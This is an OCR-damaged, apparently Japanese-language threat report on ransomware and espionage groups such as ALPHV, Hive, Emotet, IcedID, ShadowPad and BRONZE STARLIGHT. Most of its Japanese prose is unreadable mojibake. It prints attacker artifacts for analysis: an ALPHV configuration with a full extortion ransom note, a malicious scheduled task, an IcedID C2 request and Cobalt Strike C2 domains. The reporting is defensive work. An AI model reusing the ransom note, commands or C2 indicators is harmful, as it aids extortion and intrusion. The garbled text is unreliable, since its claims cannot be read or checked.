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HDT, REEDFHDIILTIVEBEIZLETHRTY, L
DU FAMLRYVTE. ZLDBEHREEICEI>THIAZIND
HEEENEWVWEEZET, BRAVTIUIIVADTFIRNI.,
INLIKEFET R ELICIBERDIDETT,

CTUUH —F v —I(&, 2019FEH 5GOLD SOUTHFIELDZEHL T
WT, REVIT Y ZILEHTFHLEBLTWET, REVIDEHLW/—
JavhBEBEITREE. ETT7FAIIOAVIRAIINIALRY VT
lF. FILWUU—RCEAF SN2 DD EMIT—RULTWET, Fi.
AVIAIIALRT VT IF. BRDERGBDF v R—VICEKD
22 7IIEDVWTHE—HUTWET, Lieh>T. aAVI(ILEA
L2 >7E. —REOICEEICZRDNZRETITH,. CDHHIE
BHLBF—5TY,
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https://www.secureworks.com/research/threat-profiles/GOLD-MYSTIC
https://asec-ahnlab-com.translate.goog/jp/19952/?_x_tr_sl=ja&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc
https://www.secureworks.com/blog/kaseya-vsa-software-under-active-attack
https://www.secureworks.com/research/threat-profiles/gold-southfield
https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/
https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/
https://www.reuters.com/technology/russia-arrests-dismantles-revil-hacking-group-us-request-report-2022-01-14/
https://www.reuters.com/technology/russia-arrests-dismantles-revil-hacking-group-us-request-report-2022-01-14/
https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence
https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence

IJAORT YR A—LTEIMEST SALPHV

VYLD TTIV=TD, EEDARL =TV T IATAICEcH>T INSOHBAIRILBERZERALT KBEIE. RXAVYEBEIAVY

BRETE27 LAz 7E2AVIMILTEIEN—RIELDDHDET, MOV L. 2077 ERZ2ERLT. 770V ZRT—I V0 [EfE
ZD—HIH, 2021F 128 ICH I LGOLD BLAZER?MALPHVZ >t L\ LTEHBHULF U,
7 (BlackCat) T9, £Fa 77—V RDA Y FYMIIEAVTIL
_ 5V MDA BB DALPHVIRAN S DRBIC I D &, EEHERII. ALPHVIZRust TECIR S LT WS 7ch, Windowsds & ULinux AL —F
by ottt BNOBAD SHALALT— 5, OEHMAESY FAY 7D YUYAFLTHROI—RA—ZERFTEREI BN, RT—T

BRICBITLTWEY, $H21YY T hTld, GOLD BLAZERE fzId% BIVYLITT7TY, TOEHKT7 7L (R5) (Tid. ESXID 'vmy 77
DOMBAVN=hH, RVDEAFEREUVTRERBIADORETZAX—K AILE KV Tvm snapshoty 77AILERTIEZcHDA TV avhEE
Fyh7—72 (VPN) ZBAULF Ul TN\ARZREELE. WEEILE NTWET, Linux&WindowsD 7 7 IVIRERFE VAN YT TN\ T
R7ziTWL. MimikatzzERUCRIEBERZNELF U, Dy REBFZ7O—FIEHEDHDF A

"config id": ",
"public key":

"extension": " ’

"note_file_name" : "RECOVER-${EXTENSION}-FILES. txt",

"note_full text": ">> What happened?\n\nImportant files on your network was ENCRYPTED and now
they have \"${EXTENSION}\" extension.\nIn order to recover your files you need to follow
instructions below.\n\n>> Sensitive Data\n\nSensitive data on your network was DOWNLOADED.\nIf
you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly.\n\nData includes:\n-
Employees personal data, CVs, DL, SS5N.\n- Complete network map including credentials for local
and remote services.\n- Private financial information including: clients data, bills, budgets,
annual reports, bank statements.\n- Manufacturing documents including: datagrams, schemas,
drawings in solidworks format\n- And more...\n\n>> CAUTION\n\nDO NOT MODIFY ENCRYFPTED FILES
YOURSELF.\nDO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA.\nYOU MAY DAMAGE YOUR FILES, IT
WILL RESULT IN PERMANENT DATA LOSS.\n\n>> What should I do next?\n\nl) Download and install Tor
Browser from: https://torproject.org/\n2) Navigate to:

{ACCESS_KEY}",

"note_short text": "Important files on your network was DOWNLOADED and ENCRYPTED . \nSee

i ;{NJTE FILE NBME]‘ file to get further instructions.

dnfault file ﬂode : "Auto",

”default_file_pipher“: "Best",

X5.ALPHVOEE 7 71 )L (HE8 : Secureworks)

Secureworks® 2026 A N—BHEODER . FRLE1— 14



https://www.secureworks.com/research/threat-profiles/GOLD-BLAZER
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Secureworks’

MEAXVIN—EZHRAIC
Z51LTLVBHive
Hiveld. EXa2 77— AN OEBICERD ALV VT Y ML EE)

TARE<LHD EIFSNIcHI1DDT VY LATT 7 TY, Hive RaaSDIEESR
f#HGOLD HAWTHORNE™ (&, R< &H2021FE6 AN SEHLTVET,

2022F 4B L&, CTUYY—F v—Id. —EDHiveEBEDREDKETT
MDDINE X /\—4')L—7GOLD MATADOR®|C LB3HDTHBEE
ZTWEY, GOLD MATADORIE, BESINRIEEHR=ZFEAL T, VPN
FrlFVE—rFAIZ Ny 77O (RDP) H—/N\—W5RYKNT—7

C\Windows\System32\Tasks\veeamupdate
<Exec>

<Command>cmd.exe</Command>

NDOF YRR/ LET, ZDYIL—7IF. PCHunter64. SharpView,
MimikatzZZR EDY =)L EFE>TRACVEFIZEL, RABERENES 57
HDERZToI’R. BALRIABREZE>TROPTHEERZITVWE T,
SystemBCZAF Y —)Lld. ERORYNT—TNZT1v I ZESTH
ICfEFE 1. Cobalt Strike Beaconld, YV R&IAYMA—/LDTzsHIC
ZEORANIAVARN=ILENE T, ZDTIL—TE. ToLINIZEE
KU, HEDZ7 7N ZREBELRE. FileZillaZzE>TT7—¥ZRF5H L.
BRI —"TRIY—AT IV NERERT Y 2—=ILI R %ENU
THiveZY LU 7 =zRBEALEY (K6).

<Arguments>/c \\corp.[redacted].com\NETLOGON\xxx.exe -u _</Arguments>

</Exec>

X6.GOLD MATADORA Hive 7>V Y AT = 7 Z B HENICEBRI T DITFER U RT V2 —I)LiE#HF XY (veeamupdate) (HEE : Secureworks)
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N7V RI)—IDEREIZRL

TFX2TF TV D 20201F2REKTDRMTA/N—EEH LIR—KTIE.
REDZVH LD 7ICLZBEETILHSDIRADAEEEE LT, T
YLDz ZRBEUVBW\Y I 7Y R)—0A4 VI F N EBRD EIFFRL
foo COFP 7O—FHRBMICETARBE Y RRAETILZRET SN
ESMEERLRBTTH. GOLD TOMAHAWKD & S7a—ERD T IL—7 1
INEEBUMITTWET, Karakurt TeamZE fcldKarakurt Laire LTH
M>5N2ZGOLD TOMAHAWK™ (&, 2021FH(ENSEBILTVET,

o

A HOME AUCTION NEWS ABOUT CONTACT US Q

Welcome to the Karakurt hacking team
website. You can browse and download the
files that were leaked. Read our news.
Learn more about us and on how we
operate.

X7.G0LD TOMAHAWK (Karakurt) ®U—2HA4KDRIU—> 3k

({88 : Secureworks)

GOLD TOMAHAWKDRAIE. BHE, 1VF—Xv MNIEHRSNIcVPNT
YRIRAVRTFINAREN VTV AN SHREDET, TDOEEIC, I
SRS VR R CE TN RIER S FBASNTOLS A RSN
HDFET, RYNT—VRICEAT S E, GOLD TOMAHAWKIE, HRAY
LY=L ZEBRET. KDODICERED (Z<DHEE. HEEBREOIRT
LERATATR) V=LY F77Vr— 3 % ERALTCENEZERLE
o COWET)I L ERFICRDP, U E— M7 Ut XICAnyDesk, 7—
& EMEIC7-Zip. FBEHUICMega&QuickPacketZ 71 )L7 vy 70— R4 —
EXZERATEIENERINTVETD,

COBMBICHIRUIEI1DDN\Y I 7Y R =V WEEE. Microsoft,
Samsung. NvidiaZ@ EICH T2V DELZRRBEEESDIETRLE
F/RLTLWS, GOLD RAINFOREST® (Lapsus$) WESIL—T T,
SR N7=GOLD RAINFORESTD X >/\—I&, O 7 DAY /\—
LEEEFOHRBNWBAT LAY ZICIFYTEEDEFA, LN L. SN
EHRTRINTE I EEHENICLTEZ D &, PREREDENE., B
DXYRNT—=VIETIERTDFEN BN, HBEIRSICHETES
EWSCEEBRITDIENEETY,
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YL 1 7 EBUAD
A—4%—c&tiRBeEmvILy 7

IOz 7OERIE. YT AD T POIIAVATLAOZEE FEEH{LOM
BHEITDLEBRA VT ZANT IV F v DEBRBRERTY, T A
EUEEITTWT, BEOSVY YA POEEEBENIL I TERD

SV LY T PEBRUAD Ve e 0 4k S -
5 e EEERT LS 7 EERBREAE U TEERBEREREVNTVET,
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O—45—tiERBmeILY 7

Secureworks’

BZTWA&EST
BZWIgE

2021F7AM 52022F6BIChMT T O—F—RFD2DDEY IV R—LH
ZBaHU, 220EY T R—LNEFLE UL, Ry MRy NEZFDREED
NILUx7iE. —EERIESEERERIELTWELLD, BEEZENDICITE
HHRETHZIENRSINEDTT,

Emotetid. 2021518 ICEBRRAERITHEEIC K> TEEELLEITELA
FNFELRA 2021FNBICIEEFLTVWET, DY TV 51 LHR.
GOLD CRESTWOOD*KE /)L —7& U TEBHiE N TWeRREELSI
WO DEEET>TWEUco EmotetdI—RIE. KD BHOBSH
i, SEIFHRBE7ORIIN, 64EY R TF—FTIFvADYIDEZ, &£
DARIIA XHEERETA T3>, 2LUTHLWIATY Y ROV MO~
WL (C2) AV T7ZANTIFvICELD, BIELBLUVEELINELSTT
Ffz. CTUUH—F v—I[d. GOLD CRESTWOODAY, Web7 ZUHhHh 5o
LYy hA—RBEREZDEY 21—/ PSMBE/\—RI— RSN /=REEER
DURANEFERUECEE % E, BlESnigiEsERELLSE0LT
WAL Z R L TWET,

ContiDXEEHE# T3H BGOLD ULRICKIE. EmotetDEEICEifik LI HJ4E
HEHMEL. Conti Leaksld. TV YLDz 74 )L—7EGOLD CRESTWOOD
DEEBBERERIAELEZRELTVWED, Emotetld. TrickBoth 5
FOVAO—REINZDLL77MIILETBEHLE LR, hid. GOLD
CRESTWOODAY, RF D& THSGOLD BLACKBURNDTrickBotdD -1
VIZANT U F v EERUTEmotetRy h Xy haBEBELLSELIZCE
R L TWE T, Emotetld. GOLD BLACKBURN®DBazarBackdoor~/L ™7 =
7 ERRIC, Adobe PDFY 7 h U 7 &> 2BE D H SWindows App
Installer/ Sy —YENUTE RSN E U, 2022418, CTUUY—F +—
(&, FE~R O—KRT#HBQakbot&TrickBotlc &K DRI T W e ICE
ZHOBEEADIVYR (K8ER) ZEmotetMETL W Z =R
LExUT

03T09:34:58 355829

ytyfjvgdhlpgwf. ex

M8ERADIVYY REFEBTRHGIY —ILZE1TJ BEmotet
(Hi88 : Secureworks)
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https://www.secureworks.com/research/threat-profiles/GOLD-CRESTWOOD
https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader
https://www.bleepingcomputer.com/news/security/emotet-botnet-comeback-orchestrated-by-conti-ransomware-gang/

YUY LY T P ERURAL
A—¥—LHHERTLY 7

3H. EmotetidQakbotO ROV 7 ZHBHELE Lk, ZD& =, GOLD
LAGOON” D IIEE X v /\—%389 & B 1 $Qakbot® F +>R—>ID
fazd) MMEAINE U, Qakbotld20214 (220 B D4R IEEARE % #&E T,
9HOHICEEHZULEX Ui, ZODME. QakbotD/\y I LY RAVTZARNZ
TFvid. PARIVRETIERL, PIHTERIUISNIRREICED, €
F2UTAI 2127 11F. REDPKANBEDTHZINESH ZEERE
LTWE Uz, Qakbotid, EEE. O—5Y—0BFOXTELSL—V—¢&
LTD&EIZERLTWET,

10A18H. CTUUY—F ¥ —Id. QakbotHIE X DAtera) E—NEIE - B
B ERMM) YIRIL7EZEDHULWTSTA Y EINTORLET/INA X
ICERUCEZERUE UL (RosiR),

TrickBot/Ry hxw M. 2021FH(ENSC21 Y T ZAN TV F v = iRH
UTcTrickBoti AR A M DBEFFEENMRRITIET L TWT, 202243A
IBICREREVRTANDREZZIELE Uz, 8BICHR>THEFEDIKLIE
B AT INEXRAICHRET ZAREEN SV EBDNED,

Process Tree

« rundli32.exe 3636 "C:\Users\ \AppData\Loca\Temp\818efeef459abc9e8c26ad32.dll", #1
o msiexec.exe 5304 msiexec /i C:\Users\ \AppData\Local\Temp\setup_undefined.msi /qn

9. miexec.exeh\t2E TS, Atera RMMY 7RIz 7 %AV AK—ILT S
Windows YA ~—Z—7 7 )L (HE2 : Secureworks)

0 20214£10A19H 0 2021412AH20H 2022%2H20H 0 2022%3H1H

WY MRy M ETAV M REDT 71 VEH C24 VI3 ANIIFY C24 VI3 ANIVF¥
2000000\ DRED D—FRDA T 1 {LH HELICEMNL
C2H9—/)\—=E=fi B’ES

202147H31H 2021412H6H 20215£12H29H 2022%2H827H

Ry RRXy b EIAV Webr»J ¥k TrickBotR /XL v ContiF—%U—oH

1000000\ DFED HEME YR—VERRICHE ®ES

O C2¥%—/\—E# °

X10.20215FE 78 H 52022438 £ TDTrickBotDEEID T LT > (HEE : Secureworks)
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https://www.secureworks.com/research/threat-profiles/gold-lagoon
https://www.secureworks.com/research/threat-profiles/gold-lagoon

01
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05

06

07
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Secureworks’

Conti Leakslc & D TrickBotDBRMEDIE T &BazarLoader DR FVE A _E(C
BT 38ENAFEINIZTET, TrickBotiENRETS NIcZ &ML
sShcEnehbnFERA. BEIRADZ(LDERSINRILSIC, 2022
FABITIF. ContiBLUDiavolZ> AT T 7OKE(C, BazarLoaderlcft,
H->TBumblebee LM IENZFHLWA—F—IMELRULTERINTWE
Ufco LD U, TrickBot®E&ETIdE. GOLD BLACKBURNAZ D& ICE N
EC21 V7 o=BEBMNLTEIET. BEORLIGEREBIATES
CEEBRLTWET,

2021FE7ANSNB DM, HLV20228 28N 558 D, IcedIDDEE]
FEEBZEWNWTWELIAN 2022F58 LI, SEEILANILIE ERZHITT
WE T, 20214, lcedID%EE I 2GOLD SWATHMORE (&, Y/l VT
TDxRy NT—UBEEEDBEL. HTTP Cookied & UAuthorization Ny
& —|CBaseb4 Ty A— RN BELEIHKRIEHREZHDLDICLELR(K
Mo

lcedIDD B A EICH2021FICEADH D, IcedDAO—RZEEL
DLLZ7fIL&. ZFDDLLEZSEITY 2Windows>a—hAaw k (LNK) 77
A EFENISOT7AIVZRHE T B LDICEDF U, 202243AIC
FEUCWEBTIE. WEBED ProxyShelDIEFEEEBERALTI VI —FY
N ICEER S NfcMicrosoft Exchange ServerZ 2= L. BEULY—/\—
ANDF7IEREFRALT RROVPDEDZS|IHTZREROEAE
lcedIDRAA—RZRMUIHRT v IV T AL EZEEFELTVWET,
ZDESBBEULA—NY—N\—ZFERLTHR TV IV TA—=)L %
REETDFEIF. A SDX—IICH T EMIFTCA—T—ICEETS
CF2VTAERELOEL, EBETCEDIEREENSDA—ILDLSICES
feHrzEBbnEd,

POST /news/1/255/0 HTTP/1.1

Host: coolbearblunts.com

Connection: Keep-Alive

Content-Type: application/octet-stream
Cookie: session=MDowOjA6MjIxMzQ6MA==

Content-Length: 416

M. BEFiRRERE T 01— R Ufclced DOHTTP POSTYZ T Xk (88 : Secureworks)

Authorization: Basic MzU2MDE4MjYwMDOxMDg2NDczMzAyOjEwNzo2Njoy

JFEONDQ1MTcwPUEOQKI2RENENEEXMYYyMDgONzgwOTO1NDQIMDAINDUIMDAINTMIMDAINEI IMDAINTQIMDAL
NEY1MDAINTAIMDAMKQIMDAINTIIMDA]MzMIMDAINTUIMDAIMZEIMDA JMzk IMDAIMZMIMDANMZMONTKSNTG9
JTU3ITAWITRGITAWITUYyITAWITRCITAWITQ3ITAWITUY ITAWITRGITAWITULITAWITUWITAWI jUzOTU40TQ5
PTMmMTg2NzkwOTMOMCYINTASMDkyNZz@xMC4wL jE5SMDQxL JAUNjQUMS40OCYONDMANTY10DO1NKE 1MDAINM1
MDAINzIMDAIN3FUIMDAINKUIMDAINZMIMDAINjGIMDAINSEIMDAINZCIMDAMNTE@MTgyMTA9ODESMg==
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https://www.secureworks.com/research/threat-profiles/gold-swathmore
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B = i

IcedID Trojan Enumerating System Information

Is this alert valuable? (O

Summary

DETAILS

|| Status:

First Activity:

Inserted At:

Detector:

Technigues:

Confidence:

Username:

/iSecureworks/Coni

[X[12. Taegis XDRIC & BlcedIDVIL Y 7 TOIRA (Hi88 : Secureworks)

il Yes & No

JSON

Open ~

TDR Watchlist &

System Owner/User
Discovery (T1033) &
System Information

Discovery (T1082) 2

33%
NTAUTHORITY\SYSTEM Q

Status Reason:

Last Activity:
Severity:

Tactics:

Sensor Types:

Hostname:

None

@ Info

Discovery

43 RedCloak Q
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A—45—O#lc 5 EF

WEEF, HZOHFLLWO—F—IEH L. BEICL>TIHFTEZE
THIZEEHDEUI, CTUVT—Fr—DFHHIc LR E Ih5DA—
F—%BEI BT, FEAON X TNV T T HhSRHRKEUZE
HTHRESEARY ARV IS, ARCERTIEERLOBERO—
F—ANEBITUTWIAEEENHDET, CDLSIBRE{LAAEEICE>
fzeDlE. Cobalt StrikeD&S7%, HEEEEE THEBIICRTNTON BN
KL=y avFRAMNY=ILOERLIEMUfzbiZEBbnEd, O—
Y—DRENL, BICHHBHRAZRIISEEIEE, ZLTHES SRR
A hH¥Active Directory RXAMVICESIMLTWE ZEZERT 2B EDER
HARERETOLBICREN —Y 3y F AN =)L EBRB R LVETT
32ETY,

Bumblebee

CTUYY—F ¥ —hBumblebeeZ DT LIHER. REBEEBESHDIE
HIRFrIR—UHASHMRDE L, BE. EROKEEN, SV
Lo 7 EIRBUS B7-6ICCobalt Strike. Sliver®, Meterpreter®E &R
AO0—RZRAY7ISEEIC, BumblebeeZHERTDLIICHBITLTL
35£5TY,

PureCrypter

PureCrypterid. 2021F3BLEE, 1D ASKRNIL. KEFEFHT249KRIL
THRFBLAEINTWS, ZILEREBREOVILY T 7EILY—EL0'O—
H—T9, Zhld. SmartAssembly CE#FZAL SN TWBNETET 7 71U
T, YAN\—LRENTRIAO—RZROYTTBeHICLERINTL
£, Ffew CTUVT—Fv—Id, OVFICLBBRHENCT I 1T DIE
KIlcUTEBRES Nz T— 4 HEVIL YU 7 WhisperGate DA E HY.
A—%5—&#EAR-1 A— R Dlj 5 TPureCrypterZ £ >TNETI—RZ 4R
LW b FiEEDEEZRF >TFHMHLTWE T,

Pure Miner Pure Crypter Pure Logs

Discord Worm
Mass DM

Pure Clipper

Discor 53 DM Worm

R13.HTTPS://PURECODER.SELLIX.I0/ TDPURECRYPTE BE&E Y — )L D ik
(H#8: SECUREWORKS)



https://github.com/BishopFox/sliver
https://www.secureworks.com/blog/whispergate-not-notpetya

SquirrelWaffle

SquirrelWaffled — %' — (&, 2021598 (C ¥ & T 1% 1 & 11, Qakbot&
Cobalt StrikeZzEeE U TWE Uz, HP). IhldQakbot. EmotetE i
lcedDD#MFEETH D EBEN—EOE=FTHTWE L, LHL. 11H
FEETICSquirreWaffleD1 Y 7 ARSI F v iIdEMEEh., coO—
T—HBUOFPI T4 TRBRRBTERSINZ IR HDEREATL R, CTU
U —Fv—ld. BRERREDETOEDSquirrelWaffle Rz R LT
ZiFclfic (K14),

YUY LY T P ERURAL
A—¥—LHHERTLY 7

HTTP/1.1 208 OK

Server: nginx
Date: ﬁsw 2021 13:00:10 GMT

Content-Type: text/html; charset=UTF-8
Content-Length: 278
x-turbo-charged-by: LiteSpeed

eXp70QUVCORFE N

R14./8T7 4> EN—RI—REINXORF —ZEH I B5SquirrelWaffle DHTTP

POSTUZ T ZNITXt 3 BiSensor IDSDMRAFER (HEE : Secureworks)
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Secureworks’

7 —7%*%>, GOLD ZODIAC*' K2 )L, —7/H' et 9 % JavaScriptX—2D
A—%'— Gootloader’@ ENEIFSNET, T—H—h, BEFRLWeb Y
ANCTFIERTBE, I—F—DHAElISNn. RKNICTILT 7 ZECH
IH2—EBDOUTAL UM ThNET,

GOLD ZODIACIKE, BEIVIVHwi#EIL (SEO) RAX=ZVI, WDD
DOABTOVEE. BRRICADBEALKRZA ST WordPressD -
ZFALT. GoogleRFRHERD EAIICFHEEL. GootloaderZE{IELE T,
CD&SHREFEY A M ZHREL. FHNAZENZEDOTY 7L —RPZ 01
DOXEZYVYO—RULTUE-EMRIF. BRSNTGootLoaderz ¥
orO—RULTULEW, SYHADU T 7ORIEEREE L TCobalt StrikeZ 4

VYA—RIBEIICBEDET,

X15.GootloaderDALE 7 O— (H#E : Secureworks)
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QUESTIONS AND ANSWERS
2437 4= 3= I HTOTTT,

Questions News Search About Us

« Genesis Market

SIS AR er 7 « Russian Market - BASES 1 fcAmigos¥—4o v b
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https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/
https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/
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Process Tree

| C:\Windows\SysWOWé4\inetsrv\w3wp.exe
C:\Windows\SysWOWé4\cmd.exe

C:\Windows\SysWOWé4\rdrleakdiag.exe
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COLSIC, LBHEICHUL TThN2EHENEEICE DT /V—
LREEMNEOERIIHOERFEZERICTZ2FEZEARMNICHE
A3, AEBAPXEBELTWSEEZSNDZKESIL—
7BRONZE STARLIGHT#(C K> TiThNTWE T, DT IL—TI3,
LockFile. AtomSilo. Rook. Night Sky#& & U'PandoraZ > Y AU 7%
ERT2EREICASLTEH U,

BRONZE STARLIGHTIE., N5 DKERICHUI Loader~ /LY = 7 ZfERAL
TWBZEDFEREINTWET, HU Loaderid. DLLY - RO—Fo >4
ENUTETIN. BELINR1O—R (@FlICobalt Strke) =&
BEIDT7 7 ZTIA—RLU T BAULLRANCERLUET, K26iC
IR HTTP POSTY 7 T X b DURI/rest/2/meetingsld. BRONZE STARLIGHT®D
FETEKRSNEITHA. CTUYH—F v — M TIFERIL TWEE A,

BRONZE STARLIGHT D EENIF. HERGT A /NN—IEE L BonNETIHN
HU Loaderld, AMAPTIIL—F“MHADH B U CRRENILY = 77
(RAT: Remote Access Trojan) SodaMasterz d— K9 3z c HIERS
nNTW&E Uk, CTUVT—Fv—I(E, ¥ilf. 77 =v . FlE (TTPs)
DEBENS. AJAPTEEMIIKE )L — 7BRONZE RIVERSIDE® (5%
APTI0) ZBIEfTIT TWET,

D EPMDY —ILDEEHL S, BRONZERIVERSIDEZ')L— 7 & BRONZE
STARLIGHTZ' )L —7 OB ICBELGERIH 2 ENREBEINE T,
WEEZ KIS VBT LTI T777IUNEGTHDIE. ZTUTHFT
FTEOKETI—TMERTBYILT 7 EDEND NS, BRONZE
STARLIGHTD E 73 &t (F. EHFIRE D 6. HMWHEDZAPL TN
— AN THZDABENREEINET, COFTVT LT TIE. T8
OEMZREL. KEBEDEDENEZRES DI ENSA VI TV R
IHEDEFEZRS L, TDFEHORETLZFEICKET D AEEZE
KT BcHDORRNBEEITTHDAREND D FT,

PublicKey 30819f300d06092a864886170d010101050003818d0038818
C2Server api.sophosantivirus.ga,,sub.sophosantivirus.ga,
UserAgent Not Found

HttpPostUri frest/2/meetingsQpmhIveuV1ljApIzpTAL

[X26.BRONZE STARLIGHT® Cobalt Strike~X-f O— K D& EHE R

(488 : Secureworks)



https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
http://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf
https://www.secureworks.com/research/threat-profiles/BRONZE-RIVERSIDE
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MIcBFiE.
S555I5WME

IRTOFREDOKE S IL—TH. —fHNBRA >V 5—Ry hED/ A XIchH
N3ZEZBENELTWDDIFTIEHDEFA, TDIFET, RED—ILD
KBTI —ZICESNZTHEDL RILIE EN>TWET, Ihld. EK
ETBREBICKITDRABEADE LV, 7o& ZIERTA M\TIDIERIC,
BEOH DV AN—EHORBREPEICHRE Licc & E, SEHDK
BLOARBEECHIELEDTHDEBDNET, Fic. CTUUY—
Fr—iF. FLWO—FTo VIV FE BLOI—RPAYTIRANTIFv
DT L ZERLTVET,

fe&zIE HAD®H 2HEMICH T 5% % T3 BRONZE PRESIDENT A,
BEREDH BPowerPoint 7 71 )L ZERLT, E{T777ILEDLL7 71 I)L %
BRLTWEUZ, EfT777)LIE. DLLZAYR—KU. DLLIE, #E&HA
FN7cCobalt Strike BeaconZF I—RULTAEVICO—RULET (K27),

X27. XAEYICA— R E N 7=BRONZE PRESIDENTD Cobalt Strike Beacon = JL
O—R (488 : Secureworks)

L

EBEDHBDLLIT &K DPlugXt>Cobalt Strikeﬁ&@éiﬁi@N4I§—P%
FOA—RUTO—REE2/oIc, DLIESIERE/\A Y+ v% (DLL Search.
Order Hijacking) %#{#FT %I &ld. BRONZE PRESIDENTD HEEFEI 2T
TY, TOWBII—7E, DLLO—Y—%ZRKR{ELIT DI EICHETNTH
D, BEICHFINTVNT, FroR—VEICAUHDIMERESNS T
ElFFEEAEHBDER A, BIDBI™TIE. BRONZE PRESIDENTIE., O
EBEEETIENICLT ROPDRICED., BEDXEEDLLBRIER/N\AI vy
VRDOTZ7 7 ETIYO—RIE, RENICPUgXZET I—REXVET
SETWEU, PlugXld, BB T—dDRELTTARILEICTE
EIBREIFTY, O—F—ldhz XTI LETESL, RTO—RZERTL
*9,

ShadowPad% fEFI 9 2BRONZE UNIVERSITY DK ETH, WEH(L.,
DLLRRIEF/\A Y+ v I & FERLTYILT T 7EO0—RUTWEY, D
RTFz—>D—E8& LT, ShadowPadDDLLA—4—I&. 37Ot X (log.
exe) ADRENA RN ZF Ty I ULET, A—F—REIN5D/\(~ZED
7% &, DLLA—4Y —ADOREDE#HZFOHIT B TZD/NA KM /8y
FHEA UFY, K28lF. AEMNS9HICVirusTotallc 7y 7O—REhfc
Y2 7)L (MD5:3e372906248b215ea0ee853chb4e29dd8) KM% 11—
KTd, S /zShadowPad -1 O—NK (&, WindowsL ¥ ZKUIC
BRI TWELT,

Parent Process Byte Check

Instruction patching in parent process

[X|28.ShadowPad/ 'y FE8% (82 : Secureworks)
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https://www.whitehouse.gov/briefing-room/statements-releases/2021/07/19/the-united-states-joined-by-allies-and-partners-attributes-malicious-cyber-activity-and-irresponsible-state-behavior-to-the-peoples-republic-of-china/
https://www.secureworks.com/research/threat-profiles/bronze-president
https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx
https://www.secureworks.com/research/threat-profiles/bronze-university
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ShadowPadh?
glEHm=E—RARAYIC

BEICEY1—){LEN1RATTH %ShadowPad™ (g, REIOU LDE
BRBFPEOKET I —TICL>TERESNTVNET, INnickD. Plugke
WAT, EROFEOKESIL—THEREERTIRATDIDELT, D
W ZHEIILTWET,

CTUY S —F v —h'2if UicShadowPad B > 7LD RETIE, BES{EEh
fcShadowPad X1 O—RADLLA—5—RICIEHIAEN TS, 2DDT 7
MINZRWBETF—rhfERINTWEY, 2L, CTUUY—Fv—
l&. BRONZE UNIVERSITYHZE V)L —7HKEITTE SN TWSKEFE T
ES{tan/zShadowPadRTA—REZFIDOT77r/LELTROYI TS
3T7ANERITFr—V AL TW eI EZ2ERLTWET,

10:07:47 & . "C:\Users\

10:07:53 ® SERVICE C:\Program
10:07:53
10:08:02

\Desktop\log.exe"

Data\Mi

3

L\Windows\system32\sv ot

ft\DEV\Scrij

2022FFIBDA VYTV hHEIGKIC, EFaF7T—JACTU Y —F v—
{&. BRONZE UNIVERSITYAY20214E11A I & DShadowPad®D37 7 A
IWERTFr—rEFERLTVWEIEEHERBLTWEYD, FHE AR
ManageEngine ADSelfService Plus® fE 8872 /N\—Y 3 v Z EfTLTW
BZH—N—FRALTWEL, ZOREEF, N—I3V6183FTD
ManageEngine ADSelfService PlusY 7 h U 7 EJLNICFE T ZFREE/N
1 )X A D Bt 58 M T 8 BHCVE-2021-405393% E FH L T, China Chopper
WebShellZz BRI UZE Uz,

COWEEF., I77IILETFr—r%FERLUT. ShadowPad DEE%,
FIRBEELLcHICRID Y —N—ICERL. RICRYRT—IRDOM
DY —N—ICBRAULE UL, D&, ShadowPadZzfERL T, ER. &
SEEROUNE. BLOEBELURAMDIY MO—)L (532 EHRINE
RE) ZfTo>TWH U,

X29.ShadowPadD 4T, H—EZ{ERR. RAO—RA>I o3>0 DIA LT+ (HE : Secureworks)
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https://www.secureworks.com/research/shadowpad-malware-analysis
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17>

AZVDAPTIIL =T DESE. 2FELTIE. A1 XATZIIL. 20O
HEE., RLOTFFARTIAZ 2 =71 DERADREKEHRE Lo hE
KOENICEAEBWTWEY, TOIERT. BEDSIL—TF & BT
BEAEDDBMNDONKIDBBREICRDE U, Flee —ZD T IL—T1F5|EH:
EBUSUYLATI 7 EFERLUTWT SERSIFLRKEB T RUVY
FEZFERLTVWE U,

150D T V=T EBREDDGHDHELD
BARE(IC

2022518, KET/\—ASHOEREB RO REERUREE"IC LD,
SeedwormZ fcl&MuddyWater& U T #1541 %2 COBALT ULSTER® &1 5
VIEHRE (BIBMOISEZIZVAJA) EDBEFREMERSI . COREY)L—
TOFEENESMNCIRDE Ufce TOMEETIE. COBALT ULSTERZ ¢
BRAR, SHATED. MOISHZOVIL—TICIBRT 22 &dH>TH
EEERAT2IEIEBWIEENZRINTULWET,

AV TIEEFNBENOEENDZTEN—BNEEETI/ILEE>TWL
F 9, 2021%F7H. Facebookld. M1 AT LEm AR (IRGC) &EBE %K
DH 3T NTYDITE % TH $Mahak Rayan Afraz (MRA) HXCOBALT

FIRESIDE59 (Bl4aTortoiseshell. Imperial Kitten) ZX#E9 2%~/ 7H
HEY—ERZRHEL VB EEFELE U, COBALT FIRESIDE™
DHEEL. Facebook”Z v N7+ —LZF)FHUTENICERLUE.
X=)b, XyE—IvIH—ER, AZRL—YaryH—EX, Webt -
Nir&E, thOBAFICSFEEZB LT BNICNILIz P ZEBHELTVET,

TS, 20215108, Z2—IA—7INEER XK E B AR HIFTICH VLT,
Emennet Pasargadft DR E 2N KERICRIFINfczET. 17V
DI RESNBTAN—tEF2UTABEEATVBFEDDRMDHF
EDICENE LU, INSOENERVWIT b ZVEFET 20205
DORERGERBICHEZEZIHEI DI EEZENE LicFroR—VIC
SMlfceah, AvEa1—9EBE, dAVE1—5FFR. BEESEE.
REEE, BEFOFETERFRINELU . XvE—Yld. 7TTK- /‘I'i‘—
A ZELTHS NBKEDBEBUATEEIRY )L —7 2 EWEE S EL
feo
